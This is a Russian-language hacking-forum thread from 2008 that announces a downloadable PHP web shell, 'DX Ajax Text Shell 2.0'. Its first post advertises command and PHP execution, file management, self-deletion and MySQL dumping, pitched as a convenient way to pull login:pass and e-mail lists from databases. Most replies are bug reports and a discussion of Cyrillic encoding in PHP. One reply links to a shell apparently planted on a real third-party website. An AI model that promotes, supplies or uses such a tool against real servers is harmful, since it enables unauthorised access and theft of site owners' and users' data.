dx ajax text shell

Discussion in 'PHP' started by d_x, 14 Dec 2008.

  1. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    DX Ajax Text Shell 2.0 beta

    Решил сделать веб-шелл с использованием AJAX.

    Доработал 1.0, сейчас готова версия 2.0 (пока что beta), вот её описание:
    Возможности:
    • AJAX, UTF-8
    • Все запросы методом POST
    • Файловый менеджер: серфинг по папкам, просмотр дат изменения и прав для файлов и папок, удаление, перемещение, копирование, переименовывание, chmod, touch
    • Скачивание файлов (<2.0> - поддержка скачивания больших файлов)
    • Редактирование и сохранение файлов в utf-8 и windows-1251
    • Подробная информация о системе
    • Выполнение php-кода
    • Выполнение команд cmd множеством способов (<2.0> - улучшен вывод результатов, поддержка кириллицы)
    • <2.0> Защита паролем
    • <2.0> MySQL - выполнение команд, удобный менеджер команд
    • <2.0> MySQL дампинг - дамп таблиц или целых БД, поддержка больших объёмов данных, дамп результатов запросов MySQL
      Если set_time_limit будет недоступно, дамп всё равно возможен по частям.
      Теперь очень удобно сдампить в виде файла, например, список login:pass или список e-mail'ов из какой-нибудь таблицы.
    • <2.0> Дамп MySQL-таблиц производится без создания каких-либо файлов на сервере - всё напрямую направляется в браузер.
    • <2.0> Быстрое удаление скрипта
    • <2.0> Поправлены различные ошибки

    Удобство в том, что можно работать с файлами, php, cmd и пр. независимо друг от друга, то есть примерно так - полистать файлы, выполнить пхп-код, вернуться к файлам, в это время результат выполнения php-кода не стирается, и к нему можно всегда вернуться.
     

    Attached Files:

    • sh.rar
      File size:
      11.1 KB
      Views:
      333
    #1 d_x, 14 Dec 2008
    Last edited: 31 Aug 2009
    AlexJan, ss88, Ru}{eeZ and 4 others like this.
  2. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    не пашет. локахлост-вынь.

    зы. да и кто его юзать будет? если бы р57 под аякс заделать, то гуд..
     
    _________________________
    #2 c411k, 14 Dec 2008
    Last edited: 14 Dec 2008
  3. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Пашет, проверял на удалённых серверах и на локалхосте тоже. Просто шелл если редактировать, то нужно сохранять в UTF-8 без BOM.
     
  4. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Все круто. Хотел бы видеть sypex или любой другой быстрый дампер mysql
     
  5. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    На локалхосте под виндой не работало - все дело в обратных слэшах, которые используются в путях и впоследствии попадают в js-код без экранирования, поэтому в начале кода нужно заменить вот на это:
    PHP:
    $sdir=addslashes($_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['SCRIPT_NAME']));
    В Firefox iframe, который выполняет checkUpFiles(), перегораживает часть экрана с директориями (почему-то видимый), поэтому нужно заменить на это (1084 строка)
    HTML:
    <iframe id="upiframe" name="upiframe" style="display:none;width:0;height:0" onload="checkUpFiles();"></iframe>
    И ко всему прочему баги с кодировкой:
    �?мя Права Размер �?зменён

    r57shell с AJAX хорошая идея имхо
     
    1 person likes this.
  6. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    нахожусь в /var/www/html тыкаю все время вверх до хожу до /var тыкаю - переходит опять в /var/www/html, пишу перейти в / - пишет директория не существует
     
    1 person likes this.
  7. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Спасибо всем за замечания, постараюсь всё исправить, хотя я не понимаю, отчего могут возникнуть такие проблемы, как:
    -видимый фрейм в ФФ (сам тестил, у меня всё отлично, версия 3)
    -проблемы с кодировкой (опять-таки всё проверял, но ещё посмотрю, отчего такое может быть)

    ShAnKaR, такая ошибка действительно есть, поправлю.

    [Raz0r], если не сложно, напиши, где ещё баги с кодировкой наблюдаются у тебя, и только в ФФ, или в других браузерах тоже?
     
    #7 d_x, 16 Dec 2008
    Last edited: 16 Dec 2008
  8. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Баги в Firefox 3.0.4, Opera 9.62, IE7. В файл менеджере первые буквы Имя и Изменен, а также в слове Информация во вкладках Система и MySQL
     
  9. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Не представляю, почему такие ошибки возникают, у меня во всех браузерах всё нормально. Причём, как я понял, только буква "И" искажается) Может быть, проблема в сервере и утф-8?.. Что, если просто создать текстовый файл в утф-8 без BOM и записать туда букву "И", а потом получить его с помощью сервера?:)
     
  10. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Доработал версию 1.0, добавил функционал, поправил найденные ошибки.
    Обновил первый пост, подробное описание и файл для скачивания там.
     
  11. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    @d_x
    тестить нужно не только на IE ;)
    Кстати ошибок с кодировкой больше нет, спасибо
     
  12. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Опера всегда отличалась нестандартностью, кстати я тестил на ней, правда на более ранней версии, всё норм было. Посмотрю ещё.

    ЗЫ. [Raz0r], в кодировке абсолютно ничего не менял)
     
    #12 d_x, 18 Dec 2008
    Last edited: 18 Dec 2008
  13. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    а ты попробуй упросить ее до strtolower на русских буквах
     
  14. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Это:
    PHP:
    <?php
    $text 
    'ЭтО СтРоКа';
    echo 
    strtolower($text);
    ?>
    И это:
    PHP:
    <?php
    $text 
    'ЭтО СтРоКа';
    echo 
    iconv('windows-1251','utf-8',strtolower($text));
    ?>
    Результат:
    Видео: http://webfile.ru/2491722
     
    #14 Chaak, 19 Dec 2008
    Last edited: 19 Dec 2008
  15. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    в FireFox 3.0.4 тоже не работает как надо
    мистика =)

    насчет strtolower() в доках сказано:
     
    #15 [Raz0r], 19 Dec 2008
    Last edited: 19 Dec 2008
  16. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Давай пример полного кода, который по-твоему переведет строку на русском в нижний регистр используя strtolower на любом сервере
     
    _________________________
    1 person likes this.
  17. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    http://www.topmanshoes.com/wp-admin/1.php

    Неа

    Вот шелл, можешь посмотреть содержимое файла
    http://www.topmanshoes.com/wp-admin/wp-rss.php
     
    _________________________
  18. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Русской локали на многих серверах может и не оказаться. Проверить можно так:
    locale -a | grep 'ru'
    Вообще нужно вот так:
    PHP:
    setlocale(LC_ALL'ru_RU.CP1251'); 

    echo 
    strtoupper('Работает!');
    С koi8-r наоборот почему-то получается: strtoupper() переводит в нижний регистр, а strtolower() в верхний
     
  19. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    На разных системах локали называются по-разному. Я знаю про setlocale, но именно поэтому её и не использовал.

    P.S. Кривое отображение в некоторых браузерах поправил, обновил первый пост.

    P.S.2. Если эта тема похожа на паблик, пусть модераторы её туда перекинут. Чем больше ошибок найдут в скрипте, тем больше я их исправлю и тем лучше он в итоге станет)
     
    #19 d_x, 19 Dec 2008
    Last edited: 19 Dec 2008
  20. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Попросил перенести тему в общий раздел, чтобы быстрее найти ошибки, если они ещё есть.